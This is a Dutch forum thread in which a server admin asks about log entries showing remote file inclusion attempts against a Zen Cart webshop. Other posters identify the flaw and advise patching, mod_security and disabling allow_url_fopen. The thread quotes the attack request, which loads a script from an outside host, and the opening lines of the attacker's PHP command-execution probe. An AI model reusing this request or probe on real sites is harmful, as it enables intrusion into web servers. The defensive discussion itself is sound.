Onderwerp: Windows- of Linuxserver hack poging?

Kennis van me heeft een server draaien met een webshop. Regelmatig kom ik dit soort dingen in de log tegen (overigens ook op mijn eigen site, zonder webshop):

Code:

GET /winkel/www.brunei-rocks.com/index.php?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://www.moscowinternation....xxxxxx

De brunei-rocks is overigens niet van mijn kennis, de /winkel/ directory wel, maar het wordt op deze manier opgeroepen. De site waarop het uit te voeren script staat, is altijd de laatstgenoemde site, in dit geval dat moscowinternational ding.
Ook de Get methodes zijn verschillend maar altijd met die autoLoadConfig erbij. Het wemelt ervan in de acces logs van httpd.

Is dit nu een poging waarmee je windows servers, linux servers of beiden kunt hacken?
Wat er in feite gebeurd is dat er op laatstgenoemde site een script wordt opgeroepen. Diverse sites/domeinen kunnen hiervoor gebruikt worden, je komt ook verwijzingen naar .jpg bestanden tegen, maar het maakt allemaal niet uit. Ga je ze oproepen betreffen het allemaal script files met dit soort code erin:

Code:

<?php
echo "Mic22";
$cmd="id";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("\n",$res);

Uit veiligheidsoverwegingen noem ik niet de complete sites en zijn dit ook maar de eerste paar regels van een compleet script.

Gelukkig lukt het de hackers niet om te doen wat ze willen maar het maakt me nieuwsgierig omtrent welk soort server ze willen hacken.
Als het alleen op windows servers van toepassing is dan slaap ik een stuk lekkerder.

Is het trouwens mogelijk om je server op "land" te beperken, zodat bijv. alleen .nl .be en .de toegang hebben tot je webserver?
En de rest of domeinen die geen reverse lookup laten zien gewoon een denied krijgen c.q. automatisch geweerd worden?

Dit is niets meer en niets minder dan een veiligheidslek misbruiken in de software van de gebruikte webshop. Meestal zijn dat soort veiligheidslekken al gepatched via de laatste versie, maar als jouw kennis niet geregeld zijn webshop update is er de kans dat via het veiligheidslek externe scripts kunnen worden gedraaid. Zoek dit 'ns op via een web site, zoals secunia.com.

Je kunt overwegen hiervoor sowieso mod_security te draaien, als je dan klanten/gebruikers hebt die wel eens te laat updaten beperk je sowieso de schade nog

Ik heb verschillende soorten scripts gezien, dus nja het kan kloppen. Maar ik dacht dat het meer was dan alleen een script voor webshops. De voorlaatste versie draait, maar wel met alle securityfixes.

Mod_security heb ik niet. Op basis van jou tip djalken ben ik eens gaan kijken, blijkt dus een soort firewall voor apache te zijn. Dat gaan we dan maar eens installeren, bedankt voor de tip.

Iemand nog ideeën/tips omtrent de laatste vraag, beperking van toegang per land?

Toegang per land is erg lastig, zou je op basis van hostname kunnen doen, maar niet iedere nederlandse aansluiting zal in de hostname zich kenbaar maken als nederlands.

Zoek eens op het net naar "ip2country". Er is een gratis versie beschikbaar van die database. Een simpel script zal je dan moeten schrijven om de bezoekers toe te laten of te weren...

Deze site bied een gratis versie aan: http://www.ip2nation.com/

Oke, harstikke bedankt, ik ga er eens naar kijken!

De eerste hit op google met als argument [999][0][loadFile] geeft aan dat dit een probleem is met zen cart.(post count te laag, mag nog niet linken).

Blijkbaar een standaard exploit in Zen Cart autoload_func.php, en dus niet zozeer de webshop zelf,die het braaf opent. Ik gok dat dit niet werkt als allow_url_fopen uitstaat maar dat zou je even moeten testen. Het bannen van ip's is een waste of time aangezien dit waarschijnlijk toch geautomatiseerd gebeurt via een open proxy.

een standaard exploit in Zen Cart autoload_func.php, en dus niet zozeer de webshop zelf

Zen Cart = de webshop.
Maar inderdaad staat ie als eerste op google, heb hem gelijk gevonden, vaag want eerder zag ik die niet of ik heb verkeerd gezocht.

Ik gok dat dit niet werkt als allow_url_fopen uitstaat maar dat zou je even moeten testen.

IEKS!!! Uit de php.ini:

allow_url_fopen = On

Staat dus klaarblijkelijk aan. En toch werkt het niet want ze krijgen er een 200 melding van de webserver op terug.

Ik weet niet of Zen-cart nog goed blijft werken als ik dat uitschakel, dus maar eens vlug op zoek naar die patch dan, voor alle zekerheid.
Of gewoon eens uitschakelen en kijken wat er gebeurd.

Tot nu toe zijn de meeste gebruikte ip's niet via een proxy gegaan maar hoofdzakelijk gewoon dynamische ip adressen, veelal uit Polen, Rusland, Brazilië, China en dat soort landen.

Ik ben in elk geval heel blij met je reply, want nu kan ik toch weer de beveiliging iets beter maken met die patch en wellicht ook nog die url_fopen uitschakelen!

Disclosure
Aug 15, 2006

en solution van een willekeurige advisory:

Solution
Upgrade to version 1.3.5 :

dus is al vrij lang bekend, en de kans is dus groot dat de versie die jij hebt geinstalleerd al gefixed is.

mischien verstandig om eens goed te kijken naar het beveiligen van php/web services aangezien het uitzetten van die functie(en een behoorlijk aantal anderen) meestal wel wenselijk is.

Nee ik had nog 1.2.3 geinstalleerd, behoorlijk antiek, maar daar schijnt dat truukje dus niet mee te werken, vermoedelijk heeft die dit XSS probleem niet, geen idee.
Zag net dat 200 een OK melding is, heb zelf even die injection test gedaan, zowel niet-ingelogt als wel ingelogt (ingelogt werkt de shop alleen met https) en zag de site even refreshen maar verder niks gebeuren.

Ik heb die funktie in elk geval nu uitgeschakeld en wat fixes toegepast. Vermoedelijk heeft het ook al geholpen dat ik bij het opzetten van de server de nodige informatie gelezen heb over het beveiligen van Apache, php en mysql.
Zo had ik ook graag de register_globals uit gehad, maar zoonlief van de vriend heeft hem een zakelijke website gemaakt die dus niet meer werkt als die setting uit staat, maar voor de rest heb ik de meeste geadviseerde instellingen wel overgenomen.

Daarnaast las ik net dat de nieuwste versie van Zen-cart versie 1.3.8a is, dus deze week maar eens de handel helemaal upgraden.
Thanks nogmaals!